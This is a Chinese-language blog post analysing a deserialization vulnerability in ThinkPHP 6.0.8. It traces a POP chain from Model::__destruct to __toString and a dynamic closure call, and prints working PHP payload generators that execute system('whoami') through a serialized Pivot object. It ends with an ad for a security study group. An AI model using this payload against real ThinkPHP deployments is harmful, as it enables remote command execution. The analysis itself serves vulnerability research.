tp6.0.8反序列化漏洞分析

composer create-project topthink/think=6.0.x-dev thinkphp-v6.0

首先构造一个反序列化点 app/controller/Index.php

namespace app\controller;
use app\BaseController;
class Index extends BaseController {
	public function index() {
		if(isset($_POST['data'])) {
			@unserialize($_POST['data']);
		}
		highlight_string(file_get_contents(__FILE__));
	}
}

在 ThinkPHP5.x 的POP链中，入口都是 think\process\pipes\Windows 类，通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类，而POP链 __toString 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 __toString 方法的点。先从起点 __destruct() 或 __wakeup 方法开始，因为它们就是unserialize的触发点。

我们全局搜索 __destruct() 方法，这里发现了/vendor/topthink/think-orm/src/Model.php中Model 类的 __destruct 方法：

当 $this->lazySave 为真时，调用save方法，跟进save方法

这里对 $this->exists 属性进行判断，如果为true则调用updateData()方法，如果为false则调用insertData()方法。而要想到达这一步，需要先满足下面这个if语句：

if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
{
  return false;
}

只需 $this->isEmpty() 为返回false， $this->trigger('BeforeWrite') 返回true即可。进 $this->isEmpty() 方法：

public function isEmpty(): bool
{
  return empty($this->data);
}

这里 $this->data 不为空即可 跟进 $this->trigger() 方法

此处需要满足 $this->withEvent 为false之后当 $this->exists == true 时进入 $this->updateData() ；当 $this->exists == false 时进 入 $this->insertData() 。先跟进updateData()方法

这里下一步的利用点存在于 $this->checkAllowFields() 中，但是要进入并调用该函数，需要先通过 两处if语句：通过①处if语句：通过上面对trigger()方法的分析，我们知道需要令 $this->withEvent == false 即 可通过。由于前面已经绕过了save()方法中的trigger()，所以这里就不用管了。通过②处if语句：需要 $data == 1 （非空）即可，所以我们跟进 $this->getChangedData() 方法 （位于vendor\topthink\think-orm\src\model\concern\Attribute.php中）看一下：

我们只需要令 $this->force == true 即可直接返回 $this-data ，而我们之前也需要设置 $thisdata 为非空。回到 updateData() 中，之后就可以成功调用到了 $this->checkAllowFields() ，跟 进该函数这里需要调用到 $this->db 方法，所以需令 $this->field 为空并且 $this->schema 也为空。

这两个字段默认为空，所以不需要管 之后进入db方法在该方法中使用了 . 进行字符串拼接，我们可以把 $this->table 或 $this->suffix 设置成相应的类 对象，此时通过 . 拼接便可以把类对象当做字符串，就可以触发 __toString() 方法了 目前为止，前半条POP链已经完成，即可以通过字符串拼接去调用 __toString() ，所以先总结一下我 们需要设置的点：

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下：

PHP
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table .
$this->suffix（字符串拼接）——>toString()

既然前半条POP链已经能够触发 __toString() 了，下面就是寻找利用点。这次漏洞的__toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中：

public function __toString()
{
  return $this->toJson();
}

跟进 toJson

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
  return json_encode($this->toArray(), $options);
}

跟进toArray

跟进 getAttr()

先看返回值 的 $this->getValue这里的

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

注意看这里，我们是可以控制 $this->withAttr 的，那么就等同于控制了 $closure 可以作为动态函 数，执行命令。根据这个点，我们来构造pop。

入口点在 src/Model.php 的 __destruct ，我们需要控制 $this->lazySave 为真来进入if循环调用save函数在save函数中需要使 $this->isEmpty() 为false，也就是 $this->data 不为空，并且 $this->trigger为true，也就是 $this->withEvent 为true，该属性在 src/model/concern/ModelEvent.php 中。之后 再使 $this->exists 为true即可进入updateData方法

进入了updateDate方法之后，由于前面的 $this->trigger 已经为true，只需要 $data 不为空即可调 用 $this->checkAllowFields() 方法，也就是 src/model/concern/Attribute.php 里的getChangedDate方法不为空

在getChangedDate中，如果 $this->force 为true，则直接返回 $this->date ，而 $this->data 前面 已经不为空了

所以要想进入checkAllowFields方法，需要满足下满的条件

$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true

model 类是复用了 trait 类 的，可以访问其属性，和方法。Model 类 是抽象类，不能被实例化，所 以我们还需要找到其子类。Pivot 类就是我们需要找的类。现在已经成功执行到了 $this->checkAllowFields() ，还得进入 $this->db()

这里只需要 this->schema 也为空即可进入db方法

将 $this->name 或 $this->suffix 设置为含有 __toString 的类对象就可以触发此魔术方法 这里注意的是，我们需要触发 __toString 的类 是 conversion 类 而这个类是 trait 类， 而当前的model 类是 复用了 conversion 类的，所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下 自己，触发自己的的 __toString 方法 调用 __toString 方法的poc

namespace think\model\concern;
trait Attribute {
	private $data=['456'=>'123'];
}
trait ModelEvent {
	protected $withEvent = true;
}
namespace think;
abstract class Model {
	use model\concern\Attribute;
	use model\concern\ModelEvent;
	private $exists;
	private $force;
	private $lazySave;
	protected $suffix;
	function __construct($a = '') {
		$this->exists = true;
		$this->force = true;
		$this->lazySave = true;
		$this->withEvent = false;
		$this->suffix = $a;
	}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>

之后便是 __toString 的构造了，在 vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是进入 toJson

然后调用 toArray

在toArray中会调用getAttr

前面两个 foreach 不做处理，再下来这个 foreach 会进入最后一个 if分支 ，调用 getAttr 方法。这个foreach 是遍历 $this->data ，然后将 $data 的 $key 传入 getAttr该函数是在 src/model/concern/Attribute.php 中

然候会进入getValue

我们只需要将 $closure 设置为 system 等函数即可执行任意命令，也就是 $this->withAttr[$fieldName] ， 也就是 $this->withAttr[$this->getRealFieldName($name)]

其中 $this->strict 默认为true，如果将 $this->convertNameToCamel 设置为false，则会直接返回$name所以就相当于 $this->withAttr[$name] 为一个命令执行函数， $name 就是getAttr中的 $key ，也就是$data 的键值

其中参数值就是 $this->getData($name)

相当于data数组中的键值。withAttr数组中的键值为函数，data数组中的键值为参数，并且键名需要相同

namespace think\model\concern;
trait Attribute {
	private $data=['cyz'=>'whoami'];
	private $withAttr=['cyz'=>'system'];
}
trait ModelEvent {
	protected $withEvent = true;
}
namespace think;
abstract class Model {
	use model\concern\Attribute;
	use model\concern\ModelEvent;
	private $exists;
	private $force;
	private $lazySave;
	protected $suffix;
	function __construct($a = '') {
		$this->exists = true;
		$this->force = true;
		$this->lazySave = true;
		$this->withEvent = false;
		$this->suffix = $a;
	}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>

如果觉得本文不错的话，欢迎加入知识星球，星球内部设立了多个技术版块，目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类，还可以与嘉宾大佬们接触，在线答疑、互相探讨。